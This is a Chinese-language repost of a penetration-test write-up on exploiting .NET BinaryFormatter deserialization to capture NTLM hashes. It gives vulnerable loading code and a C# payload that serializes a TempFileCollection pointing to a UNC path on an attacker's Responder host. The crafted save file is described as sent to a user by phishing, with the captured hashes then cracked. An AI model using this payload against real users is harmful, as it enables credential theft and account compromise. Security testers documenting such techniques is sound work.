您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關怎樣利用.NET反序列化漏洞獲取NTLM Hashes,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
在最近的一次滲透測試中,我們遇到了一個用來獲取管理員憑據的有趣技術(當然,NTLM散列已被破解)。這次攻擊并沒有什么特別新的東西,它需要特殊的條件才能實現,但我們認為這足讓我們把它分享出來。在mediaservice.net博客上Gianluca Baldi最近發布的一篇博客文章中,也描述了非常類似的技術。我們發現我們能夠做一些非常相似的事情,但針對利用的不是XXE而是.net反序列化漏洞。
當用戶加載惡意文件時會觸發此特定漏洞,因此需要用戶交互,但在網絡中可訪問的應用程序中可能存在類似的漏洞。 這完全取決于數據的反序列化位置。
反序列化是任何執行大量應用程序或Web應用程序安全測試的人都應該熟悉的東西。通常在Java環境中討論,反序列化漏洞是許多應用程序(包括.NET應用程序)中都有可能會出現的漏洞。
對于那些不太熟悉的人來說,序列化就是將一個對象轉換成一個字節流的過程,這樣就可以輕松保存在磁盤文件或數據庫中。反序列化是序列化的逆過程;通常這可以用于兩個應用程序(可能位于不同主機上)間通信的RPC。當應用程序的狀態需要保存時(這也很常見),序列化的數據會被寫入磁盤并在之后進行恢復。
我們可以通過下面的例子看到這一點。
using System; using System.IO; using System.Runtime.Serialization.Formatters.Binary; namespace serialisationTest1 { [Serializable] class MyClass { private int x = 1; private int y = 2; public string s = "Hello World"; public MyClass() { Console.WriteLine("In Constructor"); } public void Method() { Console.WriteLine("Method()"); } public void Dispose() { Console.WriteLine("Disposing Object"); } } class Program { static void Main(string[] args) { BinaryFormatter binaryFormatter = new BinaryFormatter(); MyClass myClass = new MyClass(); using (FileStream fileStream = File.OpenWrite("save")) { binaryFormatter.Serialize(fileStream, myClass); } } } }
這將創建一個文件并保存,我們可以在文本編輯器中查看。
當應用程序對不可信數據進行反序列化時,有時可能會被攻擊者所利用。如果我們看一下上面的反序列化的對象,很明顯,雖然我們不能直接向應用程序注入代碼,但是如果反序列化的對象在它的構造函數中或在它的dispose方法中,我們或許能夠對其進行利用(即惡意的)- 當.NET對象被銷毀時,垃圾回收器調用的方法。這是因為當進行反序列化嘗試時,實際上該對象確實被創建并銷毀,即使該對象由于類型錯誤而無法使用。
在測試中,我們發現桌面安裝了.NET應用程序。盡管我們并不了解應用程序的性質,但我們可以肯定的是它具有“保存”功能。為了保存,應用程序用一個特定的對象并將其序列化到磁盤。之后它可以通過相反的方式加載這個保存的對象并反序列化它。
漏洞代碼類似于下面:
using System; using System.IO; using System.Runtime.Serialization.Formatters.Binary; namespace serialisationTest1 { class Program { static void Main(string[] args) { string saveFile = "save"; MyClass myClass = null; BinaryFormatter binaryFormatter = new BinaryFormatter(); FileStream fileStream = File.OpenRead(saveFile); try { Object o = binaryFormatter.Deserialize(fileStream); myClass = (MyClass)o; myClass.Method(); } catch (Exception) { } } } }
如前所述,在這種特殊情況下,我們需要找到一個對象,它在創建或銷毀時會發揮一些有用的作用。
System.CodeDom.Compiler.TempFileCollection是.NET中的一個對象,用于刪除使用AddFile方法添加的文件。這已通過在特定位置(d:\file1)中創建文件,并將序列化的TempFileCollection用作應用程序“保存”文件得到證實。反序列化的對象是使用以下代碼片段創建的:
static void Main(string[] args) { BinaryFormatter binaryFormatter = new BinaryFormatter(); TempFileCollection tempFileCollection = new TempFileCollection(); tempFileCollection.AddFile("d:\\test",false); using (FileStream fileStream = File.OpenWrite("save")) { binaryFormatter.Serialize(fileStream, tempFileCollection); } }
當我們加載保存文件時,應用程序反序列化確實刪除了測試文件。這是一個很好的PoC,那么我們能再進一步嗎?
此時,我們有一個應用程序存在一個反序列化漏洞,當打開一個保存文件時會觸發一個反序列化漏洞,并且一個可以反序列化的對象會刪除我們可以指定的文件。
如果從UNC路徑 (i.e. \\host\file)中讀取文件,Windows將嘗試使用服務器進行身份驗證。如果我們將已刪除的文件更改為運行Responder的服務器上的UNC路徑,我們將能夠捕獲NTLM握手并嘗試破解密碼。
下面的.net代碼生成我們的payload:
static public void MakeObject() { BinaryFormatter binaryFormatter = new BinaryFormatter(); TempFileCollection tempFileCollection = new TempFileCollection(); tempFileCollection.AddFile("\\\\<responderIP>\\test", false); using (FileStream fileStream = File.OpenWrite("save")) { binaryFormatter.Serialize(fileStream, tempFileCollection); } }
然后,我們運行Responder,將文件發送給用戶(通過網絡釣魚攻擊)并等待。不一會兒我們就獲取到了哈希,我們可以用于破解。
基于我們強大的字典,以及目標用戶脆弱的密碼策略,沒花多久時間我們便成功破解出了密碼。
上述就是小編為大家分享的怎樣利用.NET反序列化漏洞獲取NTLM Hashes了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。